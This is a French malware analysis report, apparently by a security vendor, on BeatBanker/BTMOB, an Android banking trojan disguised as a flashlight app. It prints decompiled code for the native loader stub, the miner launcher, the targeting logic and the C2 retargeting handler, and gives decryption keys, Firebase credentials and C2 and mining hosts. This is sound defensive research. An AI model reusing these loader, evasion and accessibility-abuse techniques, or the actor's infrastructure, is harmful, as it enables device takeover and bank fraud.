Neutron, notre moteur d’IA, a obtenu un score de 96,75 % sur le benchmark CyberGym de l’UC Berkeley. En savoir plus

Sécurité

Sécurité

Analyse du malware bancaire Android BeatBanker/BTMOB

Analyse statique de TV_V_23.apk, malware bancaire Android BeatBanker/BTMOB déguisé en lampe de poche : chaîne en quatre étapes, anti-analyse, attribution et IOC.

Contexte

En mars 2026, l'un de nos clients bancaires nous a contactés après avoir reçu des signalements indiquant que plusieurs de ses clients utilisant l'application mobile avaient été compromis par un échantillon de malware Android. Les victimes décrivaient un comportement cohérent avec un vol d'identifiants et des tentatives de transactions non autorisées provenant de leurs propres appareils, l'application mobile de la banque semblant être au centre de l'attaque. Le client nous a fourni une copie de l'APK suspect, distribué aux victimes sous la forme d'un utilitaire de lampe de poche appelé LumoLight, et nous a demandé de déterminer ce que fait ce malware, de quoi il est capable et comment s'en défendre.

Cet article documente cette analyse. Notre objectif était d'établir l'ensemble des capacités de l'échantillon et, lorsque c'était possible, de l'attribuer à un acteur malveillant connu, afin que les équipes de défense, de surveillance de la fraude et de sensibilisation des clients puissent réagir à partir d'informations exactes. Le travail a été mené sous forme d'analyse purement statique : l'APK et ses payloads par étapes ont été décompressés, déchiffrés et soumis à une rétro-ingénierie sans exécution. Cette approche est délibérée : elle évite tout risque d'interaction en direct avec le C2 qui pourrait alerter l'opérateur, mais elle limite aussi ce que nous avons pu ou non déterminer, ce que nous précisons explicitement plus loin dans le rapport.

Synthèse

TV_V_23.apk est une plateforme de malware bancaire Android à étapes multiples, distribuée sous la forme d'une fausse application de lampe de poche appelée LumoLight. Derrière la façade d'un utilitaire inoffensif, elle déploie une chaîne de chargeurs en quatre étapes qui installe au final un outil d'accès à distance (RAT) complet, un cryptomineur furtif et un moteur de diffusion de phishing en direct, le tout sans exploiter aucune vulnérabilité de l'appareil.

Principaux constats :

  • Capacités. Le payload de la dernière étape donne à un opérateur distant une visibilité totale sur l'appareil infecté, ainsi qu'un contrôle complet : capture d'écran en direct, interaction en temps réel avec l'interface de n'importe quelle application (y compris les applications bancaires), interception des SMS et des OTP, diffusion d'overlays de phishing et exfiltration de fichiers.

  • Le ciblage est configurable à l'exécution, pas codé en dur. L'analyse statique de l'échantillon a confirmé qu'aucune banque précise n'est intégrée à l'APK : les établissements ciblés sont envoyés à tout moment depuis le serveur de commande et contrôle (C2) de l'opérateur, ce qui signifie que n'importe quelle banque peut être ciblée sur l'ensemble du parc infecté au moyen d'un seul message. Une vidéo de preuve de concept publiquement disponible, montrant l'interface C2 côté opérateur, apporte une corroboration indépendante : elle affiche une liste de cibles active, remplie de noms de package des principales applications bancaires mobiles, ce qui confirme que le ciblage des banques est une fonctionnalité réellement utilisée de cette plateforme dans la nature, et non une capacité théorique.

  • Monétisation parallèle. Une étape auxiliaire distincte installe un cryptomineur qui génère des revenus pour l'acteur malveillant, que des identifiants bancaires soient capturés ou non.

  • Attribution. Les indicateurs d'infrastructure et de comportement placent cet échantillon, avec un niveau de confiance élevé, dans le cluster de campagnes BeatBanker / BTMOB rapporté publiquement.

L'essentiel pour le client : tout appareil sur lequel TV_V_23.apk a été installé et exécuté doit être considéré comme entièrement compromis. Une suppression partielle n'est pas fiable, car les payloads en aval s'installent et persistent indépendamment du chargeur d'origine. Et comme le ciblage est contrôlé par l'opérateur plutôt qu'intégré au malware, l'absence de contenu propre à une banque dans cet échantillon ne signifie pas que la menace pesant sur les clients s'est dissipée : la même infrastructure peut changer de cibles à tout moment.

Identification de l'échantillon

L'échantillon analysé dans ce rapport est un unique package d'application Android. Ses métadonnées d'identification sont résumées ci-dessous.

Champ Valeur
Nom du fichier TV_V_23.apk
Package visible com.bitmavrick.lumolight
SHA-256 5686a80c1e66c468cbc36fab816f8fa2a28538beddcc1f9846a1c1d6aaa2855c
MD5 6160d680280c07af0cbee782f423be2f
Image de marque visible LumoLight (utilitaire de lampe de poche / paramètres rapides)
Objectif réel Chargeur Android à étapes multiples, RAT, dropper de mineur
Association à une campagne BeatBanker / BTMOB (confiance élevée)

Comment l'échantillon a été distribué. L'APK est parvenu aux victimes par ingénierie sociale ; le vecteur de livraison précis est hors du périmètre de ce rapport. Ce qui est directement pertinent, c'est le choix du déguisement : une lampe de poche ou un utilitaire de paramètres rapides appartient à une catégorie d'applications peu scrutée, que les utilisateurs installent souvent en sideloading sans examiner attentivement les permissions, ce qui en faisait une enveloppe extérieure idéale pour un chargeur malveillant.

Signaux d'alerte lors du tri initial. Avant toute rétro-ingénierie approfondie, trois observations de surface ont suffi à confirmer que l'échantillon méritait une analyse complète :

  • Application open source trojanisée. Le package com.bitmavrick.lumolight est un fork trojanisé du projet public de lampe de poche BitMavrick/Lumolight : l'URL du dépôt amont est d'ailleurs toujours intégrée à l'APK externe. L'attaquant n'a pas fabriqué une fausse application de toutes pièces ; il a pris la base de code légitime fonctionnelle, conservé son image de marque et sa fonction de lampe de poche, et y a injecté une sous-classe Application malveillante, un chargeur natif et une activité exclusivement native. Comme l'application installée se comporte réellement comme une lampe de poche (l'interface d'origine de luminosité et de flash et le service de tuile des paramètres rapides sont tous deux toujours présents et fonctionnels), la vérification instinctive de la victime (« cette application fait-elle ce qu'elle annonce ? ») renvoie une réponse rassurante, et les soupçons s'arrêtent là.

  • Ensemble de permissions incohérent pour une lampe de poche. Le manifeste demande REQUEST_INSTALL_PACKAGES, QUERY_ALL_PACKAGES et RECEIVE_BOOT_COMPLETED, et déclare des composants Firebase Cloud Messaging. Un utilitaire de lampe de poche n'a aucune raison légitime d'installer d'autres applications, d'énumérer toutes les applications de l'appareil, de survivre aux redémarrages ou de maintenir un canal de notifications push. N'importe laquelle de ces permissions, prise seule, serait déjà notable ; ensemble, elles caractérisent un chargeur, pas un utilitaire.

  • Contenu suspect du répertoire des assets. Le répertoire assets/ contenait des blobs binaires à forte entropie, avec des noms de fichiers obfusqués, une structure typique de la mise en place par étapes de payloads chiffrés plutôt que de ressources d'application normales (images, polices, localisations).

Prises ensemble, ces trois observations ont fait passer l'analyse de la question « est-ce malveillant ? » à la question « quel type de malveillance, et à quelle échelle ? », à laquelle répond le reste de ce rapport.

Étape 1 : la première rencontre de la victime, application leurre et bootstrap natif

Application hôte open source trojanisée.

L'APK externe est construit autour du projet public de lampe de poche BitMavrick/Lumolight. La base de code légitime est intacte et fonctionnelle : FlashTileActivity, LumolightTileService et le MainActivity de lancement fonctionnent toujours comme prévu.

L'interface de LumoLight telle que la voit la victime : une application de lampe de poche fonctionnelle qui dissimule le malware s'exécutant dans le même processus.

Figure 1 : l'interface de LumoLight telle que la voit la victime : une application de lampe de poche fonctionnelle qui dissimule le malware s'exécutant dans le même processus.

L'attaquant a injecté quatre composants malveillants par-dessus :

  • com.bitmavrick.lumolight.LumolightApp : une sous-classe Application injectée qui fait appel au bootstrap malveillant lors de l'initialisation du processus.

  • com.bitmavrick.lumolight.IonisedConvincing : le chargeur de la bibliothèque native libmetaspermousdevitrifiednoiseful.so.

  • com.bitmavrick.lumolight.UnablyBrattain : une activité exclusivement native.

  • Une modification du MainActivity de lancement qui invoque startActivity(new Intent(this, UnablyBrattain.class)) immédiatement après l'initialisation de l'interface normale de l'application, transmettant le contrôle à l'activité malveillante exclusivement native sans interrompre l'expérience de lampe de poche visible par l'utilisateur.

Des permissions malveillantes et des composants cachés com.yqzg.parrnell ont été ajoutés au manifeste AndroidManifest.xml. Comme l'application fonctionne réellement comme une lampe de poche, la vérification instinctive de la victime renvoie une réponse rassurante.

Détournement du cycle de vie de l'application par une bibliothèque native

Les méthodes attachBaseContext et onCreate de com.bitmavrick.lumolight.LumolightApp, qui sont les premiers points d'entrée du cycle de vie, appelés avant l'affichage de toute interface, sont déclarées natives et implémentées dans libmetaspermousdevitrifiednoiseful.so. Android confie le contrôle aux implémentations natives plutôt qu'à Java. Le nom obfusqué de la bibliothèque constitue lui-même un signal d'anti-analyse mineur, choisi pour éviter la correspondance par mots-clés avec des noms de bibliothèques connues comme malveillantes.

Le même schéma réapparaît à l'étape 3. L'APK auxiliaire (com.sywo.chelingas, étape 3) utilise un schéma de transfert natif identique, mais, n'ayant aucun code légitime à préserver, sa sous-classe Application ne contient rien d'autre qu'un appel à System.loadLibrary et deux déclarations de méthodes natives :

// APK: com.sywo.chelingas (Stage 3 helper)
// JADX source: sources/pjOZQC/c6xmV4.java
//
// Shown here as evidence that Stage 1's native-handoff architecture
// is a deliberate, reused pattern across the malware's stages — not a
// one-off. The helper's Application class contains no Java logic;
// both lifecycle methods are declared 'native' and implemented
// entirely inside liblixhokfsmav.so, invisible to JADX.

public class c6xmV4 extends Application {

    public Object eeHugaithaikuu9u = null;

    static {
        System.loadLibrary("lixhokfsmav");
    }

    @Override
    public native void attachBaseContext(Context context);

    @Override
    public native void onCreate();
}

À l'étape 1, le transfert est injecté dans une hiérarchie de classes légitime ; à l'étape 3, il s'agit d'une coquille conçue sur mesure. Même intention : pousser la logique critique dans du code natif, hors de portée de l'analyse statique de la couche Java.

Mise en place par étapes de payloads chiffrés

Le bootstrap natif déchiffre deux blobs du répertoire assets/ de l'APK. Les deux routines de chiffrement résident dans la bibliothèque native et ne sont exposées dans aucune classe Java lisible ; les détails ci-dessous ont été récupérés à partir des artefacts de payloads issus des étapes suivantes, et non du code source de l'APK externe.

Chemin de l'asset Chiffrement Produit
vyh3u73x8mp5elng XOR répété DEX de bootstrap (stage1_bootstrap_loader.dex, SHA-256 58e39152...)
s3h8m8q8kb38a4iy/ksqzvp1v AES-CBC/PKCS5Padding, key = SHA-1(basename)[:16], zero IV APK orchestrateur caché (com.yqzg.parrnell)

Le DEX de bootstrap charge l'orchestrateur déchiffré en mémoire par manipulation réflexive du tableau dexElements du class-loader parent (sur les niveaux d'API récents, makeInMemoryDexElements), le même schéma que celui directement confirmé dans l'auxiliaire de l'étape 3. L'APK orchestrateur n'est jamais écrit sur le disque sous une forme analysable par un scanner.

Chaque point d'entrée dont dépend un flux de travail Android classique est soit remplacé par du code légitime, soit déplacé dans du code natif. Quiconque n'est pas prêt à faire de la rétro-ingénierie ARM regarde la mauvaise couche.

Étape 2 : l'orchestrateur caché, mise en place de la persistance et du contrôle via le cloud

Connectivité cloud via Firebase Cloud Messaging

L'orchestrateur s'enregistre auprès d'un projet Firebase contrôlé par l'acteur malveillant. La configuration est intégrée à l'étape 2 sous forme obfusquée : com.yqzg.parrnell.App construit un objet d'options JQHWyjC66EcSxmVdbe contenant ApplicationId, ApiKey, gcmSenderId, storageBucket et projectId, et uvddntLtzpPJk8Xjs5.java l'utilise pour initialiser l'application Firebase par défaut à l'exécution. La même configuration apparaît également en clair dans le DEX auxiliaire final récupéré (étape 3) ; les deux étapes la portent de manière indépendante.

Champ Valeur
Firebase App ID 1:39848184100:android:c44d4f602ecf40683bcbb1
Firebase API Key AIzaSyDDRPszQIVKnbIBw9nZuuhferi4-I0xwXU
Firebase Sender ID 39848184100
Firebase Project waking-21b04
Firebase Bucket waking-21b04.firebasestorage.app
Hôte de télémétrie https://aptabase.jesfeoqrj3.xyz:8443

Firebase Cloud Messaging (FCM) est un service Google légitime utilisé par les applications grand public pour envoyer des notifications push. En utilisant FCM comme canal de commande, l'opérateur obtient simultanément trois avantages :

  • Le trafic se fond dans la masse. Les messages FCM transitent par l'infrastructure de Google et apparaissent dans les journaux réseau comme du trafic de notification ordinaire, ce qui les rend presque indiscernables du comportement légitime d'une application sans inspection au niveau du payload.

  • Livraison fiable vers les appareils en arrière-plan ou en veille. Android délivre les pushs FCM même lorsque l'application n'est pas en cours d'exécution, ce qui permet à l'opérateur de réveiller les appareils infectés à la demande.

  • Aucun domaine contrôlé par l'opérateur n'est nécessaire pour le chemin de réveil principal. L'appareil infecté contacte fcm.googleapis.com, et non l'infrastructure de l'attaquant, ce qui signifie que de simples défenses par liste de blocage de domaines en périmètre ne suffisent pas à couper ce canal.

Pour les équipes SOC et de détection de la fraude du client, voici le point actionnable : un C2 basé sur FCM ne peut pas être bloqué à la périphérie du réseau sans casser des applications légitimes. La détection doit se faire sur le terminal, à partir de signaux comportementaux (par exemple, des applications avec un enregistrement FCM inattendu, des pushs FCM reçus par des packages sans notification visible par l'utilisateur), et non par un filtrage au niveau réseau.

Persistance

Une fois l'enregistrement FCM établi, l'orchestrateur demande une exemption d'optimisation de la batterie via l'intent Android standard android.settings.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS avec un URI de données package: (confirmé dans com.yqzg.parrnell.MainActivity, ligne 356). La permission est accordée par une boîte de dialogue système standard. Une fois accordée, Android cesse de tuer de manière agressive les processus d'arrière-plan de l'orchestrateur.

Déploiement des payloads en aval

L'orchestrateur transporte un lot d'installation dans son propre répertoire assets/, contenant le moteur d'installation et des bibliothèques natives, mais pas les APK en aval eux-mêmes :

Asset Rôle
stage2_installer_bundle.zip → plectrumsplanchnomegalia (~4.6 MB DEX) Le moteur d'installation : un gros DEX embarqué qui pilote l'installation en aval
stage2_installer_bundle.zip → arm64-v8a / armeabi-v7a Bibliothèques natives adaptées à l'ABI, fournies avec l'installateur
stage2_installer_assets.zip Ressources d'interface pour les faux écrans de configuration et de mise à jour, ainsi que output8.mp3 (utilisé plus tard par l'auxiliaire de l'étape 3 pour son mécanisme de keepalive par boucle multimédia)

Les APK en aval sont stockés localement sous forme chiffrée dans les assets de l'APK externe et transmis à l'installateur, et non récupérés en direct depuis le C2 comme chemin principal. com.yqzg.parrnell.JTcvL0wHeDQ3LLur9W (ligne 24) déchiffre et extrait un conteneur local (xylograph), en charge le moteur d'installation et sélectionne des blobs de configuration locaux (franker / ununanimouslynasoscope) qui désignent les assets de payloads préparés. Les configurations récupérées les associent à des ensembles d'assets concrets :

  • connector.predictor.messenger ← assets picaroons, pellagroid, gaitskell (les trois composants de l'APK fractionné).
  • com.sywo.chelingas ← asset nonsignatoriesyferre.

Un téléchargeur HTTP distinct existe dans com.yqzg.parrnell.JoDPj5ySc7Q56tJgl3 comme canal alternatif ou complémentaire, mais il n'est pas le mécanisme de livraison principal dans cet échantillon.

Couverture d'ingénierie sociale pendant l'installation

L'orchestrateur n'installe pas les payloads en aval en silence. Il présente de faux écrans de configuration et de mise à jour qui occupent l'attention de la victime pendant l'installation et banalisent les demandes de permissions que l'étape 4 fera ensuite : accessibilité, capture d'écran, lecture des SMS. Un utilisateur qui vient de voir se terminer ce qui ressemble à une « mise à jour système » légitime est prédisposé à accepter des invites à privilèges élevés.

Écran de fausse mise à jour : l'interface d'ingénierie sociale que l'orchestrateur présente à la victime pendant que les payloads en aval sont installés en arrière-plan.

Figure 2 : écran de fausse mise à jour : l'interface d'ingénierie sociale que l'orchestrateur présente à la victime pendant que les payloads en aval sont installés en arrière-plan.

L'étape 2 est le moment où le malware passe de « installé » à « contrôlable, persistant et prêt à déployer les vrais outils ». Trois caractéristiques le rendent difficile à perturber après coup : le C2 FCM ne peut pas être bloqué à la périphérie du réseau ; l'exemption d'optimisation de la batterie est accordée par une boîte de dialogue légitime, non corrigée ; et les payloads en aval s'installent en tant qu'APK indépendants, de sorte que supprimer l'orchestrateur ne les supprime pas.

Étape 3 : le payload auxiliaire, moteur de keepalive et livraison du mineur

La même architecture de transfert natif qu'à l'étape 1

L'APK auxiliaire (com.sywo.chelingas) utilise un schéma identique : une sous-classe Application dont les méthodes de cycle de vie résident dans une bibliothèque native (liblixhokfsmav.so), sans logique Java significative. C'est le c6xmV4.java présenté à l'étape 1, ce qui confirme que ce schéma est un choix d'ingénierie réutilisé plutôt que la caractéristique d'un seul composant.

Chargement de DEX en mémoire en deux temps

L'auxiliaire prépare son payload final via un DEX de bootstrap intermédiaire :

  • La bibliothèque native déchiffre par XOR l'asset 0DvdX3nFjtHAUApk avec la clé ASCII répétée de 64 caractères 8HqIe8TtMjtOpehmPZrAhrVbnIjZhkx3tcR720hfXQYeD7XQzeuhpdeTQ3SuM3Ap (utilisée directement comme séquence d'octets, et non comme passphrase PBKDF2), produisant un DEX de bootstrap intermédiaire (SHA-256 7583ae8a...).

  • La classe com.example.virusscanbypassbootstrapper.DexLoader du DEX de bootstrap, dont le nom décrit lui-même l'objectif, déchiffre en AES le second asset 4qZE2YiJUkIj2a2a/RioFpQvI avec AES/CBC/PKCS5Padding, au moyen d'une clé de 16 octets dérivée de SHA-1("RioFpQvI")[:16] (basename du chemin) et d'un IV entièrement nul, produisant une archive ZIP.

  • Le ZIP contient le DEX auxiliaire final (classes.dex, SHA-256 79aba8d3fad2...), chargé directement en mémoire par modification du class-loader (DexClassLoader pour API < 26, makeInMemoryDexElements pour API ≥ 29, combinés à une manipulation réflexive du tableau dexElements du class-loader parent).

Toute la chaîne s'exécute sans écrire le DEX final à un emplacement prévisible du disque, ce qui déjoue les scanners qui recherchent des fichiers APK ou DEX dans les chemins de stockage standard des applications.

Le DEX auxiliaire final fait deux choses : la persistance via un service de premier plan de fausse mise à jour système, et le cryptomining via un binaire natif téléchargé.

Persistance via une fausse notification de mise à jour système

L'auxiliaire s'enregistre comme service de premier plan Android, un mécanisme légitime qui permet une exécution indéfinie en arrière-plan en échange de l'affichage d'une notification. La notification est déguisée en message système :

Champ Valeur
Titre de la notification Update Now
Corps de la notification The system is being updated, please keep the phone on.

La formulation joue un vrai rôle. Les utilisateurs sont culturellement conditionnés à ne pas interrompre les mises à jour système : en fermer une semble risqué, et « please keep the phone on » décourage les deux actions (balayer la notification, éteindre l'appareil) qui menaceraient le plus directement la persistance.

Derrière la notification, le service maintient deux mécanismes de keepalive supplémentaires : il lit en boucle output8.mp3 (livré via le ZIP d'assets de l'installateur de l'étape 2), ce qui fait classer le processus comme lisant activement un média et relève sa priorité dans le cycle de vie, et il réacquiert périodiquement des wake locks Android pour empêcher le CPU de se mettre en veille. Combinés, ces mécanismes font qu'Android ne terminera pas proactivement le processus, quels que soient l'état de l'écran, l'inactivité ou la pression sur la mémoire.

Déploiement du cryptomineur

En parallèle de la persistance, l'auxiliaire télécharge depuis l'infrastructure de l'opérateur un binaire de cryptomineur chiffré, le déchiffre sur l'appareil, l'écrit dans le stockage local et l'exécute comme processus enfant natif. Le code récupéré ci-dessous montre le lancement du processus du mineur et la surveillance de sa sortie standard pour en extraire des métriques de performance :

// APK: com.sywo.chelingas — recovered final helper DEX
// JADX source: sources/com/google/worker/work/a.java (inner class b.run(), lines 36–62)
//
// After writing the decrypted miner binary to disk and making it executable,
// the helper launches it as a child process and monitors its stdout in a
// background thread. Miner output lines are parsed for performance metrics.
// The method k() handles cleanup if the process terminates unexpectedly.

public void run() {
    try {
        String[] strArrG = a.this.g();   // builds argv: [-o pool, -k key, --tls, --no-color]
        File fileF = a.this.f();          // returns the dropped worker executable path
        a aVar = a.this;
        aVar.a = aVar.i(fileF, strArrG); // launches the miner process via ProcessBuilder
        Scanner scanner = new Scanner(a.this.a.getInputStream());
        while (!Thread.interrupted() && scanner.hasNextLine()) {
            String strNextLine = scanner.nextLine();
            t.a(strNextLine);             // telemetry: reports mining output upstream
            Log.v(..., strNextLine);      // raw miner output logged at verbose level
        }
    } catch (Exception e) {
        Log.e(..., "worker error: " + e);
    }
    a.this.k();   // cleanup / restart on termination
}

Les options de ligne de commande transmises au mineur (-o, -k, --tls, --no-color) sont cohérentes avec la CLI standard de XMRig, ce qui suggère fortement que le mineur est XMRig ou un fork proche, fonctionnant contre un pool compatible Monero.

L'ensemble de l'infrastructure du mineur récupérée :

Composant Valeur
Noms des binaires du mineur libmine-arm64.so / libmine-arm32.so
Téléchargeur du mineur https://accessor.fud2026.com/, https://accessor.fud2026.org/
Pool de minage pool.fud2026.com, pool.fud2026.com:8443
Proxy du pool de minage pool-proxy.fud2026.com:8443
Hôte de télémétrie https://aptabase.khwdji319.xyz:8443
Clé d'application de télémétrie A-SH-2776504097

Le cluster de domaines fud2026.* n'est pas seulement une infrastructure opérationnelle : il figure aussi dans les indicateurs rapportés publiquement pour le cluster de la campagne BeatBanker (voir Attribution). Le composant de cryptomining fait partie intégrante de l'opération de l'acteur malveillant, et non d'un module complémentaire tiers.

Deux implications pour le client : contrairement au payload de l'opérateur, le cryptomineur a des symptômes physiques inévitables (déchargement accru de la batterie, dégagement de chaleur, utilisation du CPU au repos). Les signalements de clients faisant état d'une batterie qui se vide sans raison ou d'une surchauffe sur des appareils par ailleurs sains peuvent donc servir de signal de tri secondaire, indépendant des indicateurs de fraude bancaire. Et comme le minage génère des revenus pour chaque appareil infecté, que la fraude bancaire réussisse ou non, l'opérateur n'a aucun intérêt à sélectionner des cibles de grande valeur : une empreinte d'infection plus large est en soi rentable, ce qui justifie un investissement soutenu dans la campagne.

Étape 4 : le payload de l'opérateur, abus de l'accessibilité, capture d'écran et C2 en direct

L'étape 4 est le composant destiné à l'opérateur humain. Là où l'étape 3 s'exécute en silence pour générer des revenus passifs, l'étape 4 est une plateforme d'accès à distance interactive : elle observe la victime en temps réel, attend les moments de grande valeur (application bancaire au premier plan, invite de saisie d'identifiants, arrivée d'un OTP) et permet à l'opérateur de voir, d'intercepter et de manipuler ces moments au fur et à mesure. Toutes ses capacités reposent sur des permissions accordées par la victime, et non sur un exploit technique.

Installation, persistance et escalade de permissions

Le payload de l'opérateur est livré sous la forme d'un ensemble d'APK fractionnés : un APK de base, un APK DEX fractionné par code et un APK de ressources fractionné. C'est le format de distribution utilisé par les applications publiées via le Google Play Store, ce qui ajoute une couche de légitimité apparente et rend le payload plus difficile à extraire comme artefact unique.

Persistance au démarrage. Le manifeste déclare un BootReceiver (connector.predictor.messenger.BootReceiver) enregistré pour BOOT_COMPLETED, QUICKBOOT_POWERON, com.htc.intent.action.QUICKBOOT_POWERON, REBOOT et ACTION_SHUTDOWN. Au démarrage, le récepteur lance le service de premier plan avant que l'utilisateur ne déverrouille l'écran : le malware est en cours d'exécution et connecté au C2 au moment où l'écran de verrouillage apparaît.

Manifeste des permissions. Le payload demande un large ensemble de permissions, reflétant la boîte à outils complète de l'opérateur :

Permission Usage opérationnel
READ_SMS Interception des OTP, contournement de la 2FA bancaire
CAMERA Accès à la caméra de l'appareil
MANAGE_EXTERNAL_STORAGE Recherche et exfiltration de fichiers
WRITE_EXTERNAL_STORAGE (maxSdk=29) Écriture de fichiers sur les anciennes versions d'Android
READ_EXTERNAL_STORAGE (maxSdk=32) Lecture de fichiers sur les anciennes versions d'Android
REQUEST_INSTALL_PACKAGES Installer discrètement des payloads supplémentaires
REQUEST_DELETE_PACKAGES Supprimer des applications concurrentes ou effacer ses traces
QUERY_ALL_PACKAGES Énumérer les applications installées pour identifier des cibles
FOREGROUND_SERVICE Exécuter des services persistants en arrière-plan
FOREGROUND_SERVICE_MEDIA_PROJECTION Service de capture d'écran persistant
FOREGROUND_SERVICE_DATA_SYNC Service de synchronisation de données persistant
FOREGROUND_SERVICE_SPECIAL_USE Type de service de premier plan réservé
FOREGROUND_SERVICE_SYSTEM_EXEMPTED Classe de service de premier plan exemptée par le système
POST_NOTIFICATIONS Afficher des notifications (requis sur Android 13+)
VIBRATE Vibration de l'appareil (en appui aux écrans de verrouillage de phishing)
FLASHLIGHT Contrôle du flash de l'appareil photo
INTERNET Communication réseau
ACCESS_WIFI_STATE / ACCESS_NETWORK_STATE Comportement adapté au réseau
WAKE_LOCK Maintenir le CPU actif quel que soit l'état de l'écran
REQUEST_IGNORE_BATTERY_OPTIMIZATIONS Empêcher l'OS de tuer les services d'arrière-plan
USE_EXACT_ALARM / SET_ALARM Planifier des événements de réveil précis
DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION (custom) Protéger les récepteurs internes contre une invocation externe

Les deux permissions décisives sur le plan opérationnel, le service d'accessibilité et la capture d'écran, ne sont pas accordées par le seul manifeste : toutes deux exigent que l'utilisateur les active via l'interface au niveau du système. Le kit de leurres existe pour les obtenir.

Le kit de leurres : l'ingénierie sociale comme vecteur d'obtention de permissions

Le payload embarque un ensemble de faux écrans HTML, stockés chiffrés dans l'APK et décodés à l'exécution :

  • Faux guides des paramètres d'accessibilité (acs_mi, acs_sm, acs_els) : guident la victime pour activer le service d'accessibilité malveillant, présenté comme une configuration obligatoire.
  • Faux écrans « VPN requis » (vpn_required) : créent un sentiment d'urgence et justifient un accès par ailleurs suspect.
  • Faux flux de mise à jour et d'initialisation (up_require, launcher, s1s2s3s4) : réduisent la méfiance pendant l'installation des composants en aval.
  • Capture d'identifiants (1.decoded) : formulaires génériques imitant des services de confiance.
  • Écrans de verrouillage par code PIN et mot de passe (2.decoded, 3.decoded) : interceptent les identifiants de déverrouillage de l'appareil ou diffusent des flux de phishing.

Faux écran d'activation de l'accessibilité : la page d'ingénierie sociale présentée à la victime pour la pousser à activer le service d'accessibilité malveillant.

Figure 3 : faux écran d'activation de l'accessibilité : la page d'ingénierie sociale présentée à la victime pour la pousser à activer le service d'accessibilité malveillant.

Fausse mise à jour d'application / VPN requis / flux de chargement : écrans de leurre secondaires servant à maintenir la confiance de la victime et à créer des prétextes pour obtenir des permissions durables.

Figure 4 : fausse mise à jour d'application / VPN requis / flux de chargement : écrans de leurre secondaires servant à maintenir la confiance de la victime et à créer des prétextes pour obtenir des permissions durables.

Il s'agit d'un flux de travail, et non d'une invite unique. Le malware ne demande pas tout d'un coup : il gagne la confiance grâce à des écrans de configuration d'apparence légitime, demande l'accessibilité dans un contexte où l'accorder paraît naturel, puis se sert de l'accessibilité pour faciliter les demandes suivantes. Une victime qui refuserait une invite d'accessibilité directe est bien plus susceptible de l'accorder comme quatrième étape d'un flux de mise à jour de routine.

Ce que l'abus de l'accessibilité donne réellement à l'opérateur

Dès que la victime active le service d'accessibilité malveillant, le rapport de force sur l'appareil bascule. L'API d'accessibilité d'Android a été conçue pour des usages légitimes (lecteurs d'écran, outils d'accès par commutateur), mais les capacités qu'elle expose (lire n'importe quel élément d'interface, simuler n'importe quel toucher, intercepter les événements de touches) sont exactement ce dont un opérateur distant a besoin. La configuration du service récupérée demande la surface maximale :

Capacité Valeur
Capture d'événements typeAllMask (tous les événements d'interface de l'appareil)
Filtre de package Absent (sans restriction : surveille toutes les applications de la même manière)
Peut récupérer le contenu des fenêtres true
Peut effectuer des gestes true
Peut prendre des captures d'écran true
Peut demander le filtrage des événements de touches true
Flags flagRetrieveInteractiveWindows, flagReportViewIds, flagRequestEnhancedWebAccessibility, flagRequestTouchExplorationMode, flagIncludeNotImportantViews, flagDefault

(Source : res/xml/aujijdshciyxu.xml.)

Il s'agit d'un substrat complet de surveillance et de contrôle à distance de l'appareil. L'opérateur peut lire chaque élément d'interface, appuyer sur n'importe quel bouton, soumettre n'importe quel formulaire, intercepter les frappes, prendre des captures d'écran, et faire tout cela dans n'importe quelle application, y compris les applications bancaires durcies.

Logique de ciblage

Le service surveille les transitions de l'application au premier plan et compare l'application nouvellement active à une liste de cibles :

// APK: connector.predictor.messenger — split DEX
// JADX source: connector/predictor/messenger/posvvhbqnqa.java
//
// Note: Analytical abstraction — obfuscated rf0.a() calls replaced with decoded values.
//
// On every foreground app transition, the accessibility service checks two conditions:
// (1) tracking is enabled in shared preferences (re.e0), and
// (2) the runtime target map (s.i / s.j / s.k) has at least one entry.
// If both are true, it iterates the target map comparing the current
// foreground package name and browser URL against stored target values.
// When mode 'G' (phishing/monitoring activation) matches, t() is called
// to trigger the next stage of the attack against that specific app.

if (((r00.c(getApplicationContext(), re.e0, false) && s.h.size() > 0)
        || r00.c(getApplicationContext(), /* ... */, false)) && r9 != 0) {
    for (Map.Entry entry : s.i.entrySet()) {
        String str17 = (String) entry.getKey();
        str10 = (String) entry.getValue();    // ltrk: URL/domain tracker value
        str11 = (String) s.j.get(str17);      // itrk: package name to match
        str12 = (String) s.k.get(str17);      // ityp: activation mode
        if (s.B0(str16.toLowerCase(), str10)
                || (str11 != null && str11.toLowerCase().equals(str15))) {
            if (str12.equals(/* "G" */)) { // mode 'G' = active phishing
                if (!a0()) {
                    t(getApplicationContext(), this); // trigger phishing/interaction flow
                }
            }
            // else-branch: passive monitoring mode — captures the foreground app's
            // 144×144 icon, encodes it as PNG, and schedules a Timer task (new e(...))
            // after an 800ms delay to report the foreground-app transition upstream.
        }
    }
}

Au moins deux modes d'activation existent

Le mode G déclenche le phishing actif. La branche else correspond à un mode de surveillance passive : à chaque transition de l'application au premier plan (sur n'importe quelle application, pas seulement les cibles de phishing), le service capture l'icône 144×144 de l'application au format PNG et programme un rapport différé. L'opérateur reçoit un flux continu des applications utilisées par la victime, indépendamment de la liste de phishing active.

La table des cibles est alimentée à l'exécution, pas codée en dur

Aucune liste statique de noms de package d'applications bancaires n'a été retrouvée nulle part dans l'échantillon. Les tables s.i, s.j, s.k sont vides jusqu'à ce que l'opérateur y pousse des définitions de cibles. Le répartiteur de commandes C2 récupéré (d0.java, commande de cas 4) montre le mécanisme :

// APK: connector.predictor.messenger — split DEX
// JADX source: sources/connector/predictor/messenger/d0.java (L1271–1284)
//
// C2 command case 4: the operator sends a JSON object containing
// ntrk (tracker ID), ltrk (URL/domain), itrk (package name), and ityp (mode).
// The connector immediately inserts these values into the live target maps,
// enabling real-time retargeting to any application without requiring
// a new APK or any action from the victim.

String strOptString5 = jSONObject.optString(/* "ntrk" */, "");
String strOptString6 = jSONObject.optString(/* "ltrk" */, "");
String strOptString7 = jSONObject.optString(/* "itrk" */, "");
String strOptString8 = jSONObject.optString(/* "ityp" */, "");
if (strOptString8.equals(/* "G" */)) {
    posvvhbqnqa.x.add(strOptString7.toLowerCase()); // add package to active watch list
}
s.K(strOptString5, strOptString6); // store tracker value
s.H(strOptString5, strOptString7); // store package name
s.I(strOptString5);                // initialize tracking state
s.J(strOptString5, strOptString8); // store activation mode
r00.f(d0.h, re.e0, true);          // set tracking_enabled = true in shared prefs

